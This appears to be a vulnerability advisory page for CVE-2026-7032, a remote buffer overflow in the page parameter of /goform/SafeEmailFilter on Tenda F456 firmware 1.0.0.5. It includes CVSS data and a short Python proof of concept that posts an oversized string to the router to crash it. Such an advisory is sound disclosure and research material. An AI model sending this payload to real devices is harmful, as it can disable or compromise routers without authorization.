Security Vulnerability Report
中文
CVE-2026-7032 CVSS 8.8 HIGH

CVE-2026-7032

Published: 2026-04-26 11:16:06
Last Modified: 2026-04-29 18:26:46

Description

A flaw has been found in Tenda F456 1.0.0.5. Affected is the function SafeEmailFilter of the file /goform/SafeEmailFilter. This manipulation of the argument page causes buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://192.168.0.1/goform/SafeEmailFilter" # Vulnerable parameter and payload # The buffer size depends on the specific stack layout, this is a generic PoC payload = "A" * 1000 # Adjust length to trigger overflow data = { "page": payload } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response Status Code: {response.status_code}") if response.status_code == 200: print("Request sent. Check device for crash or shell.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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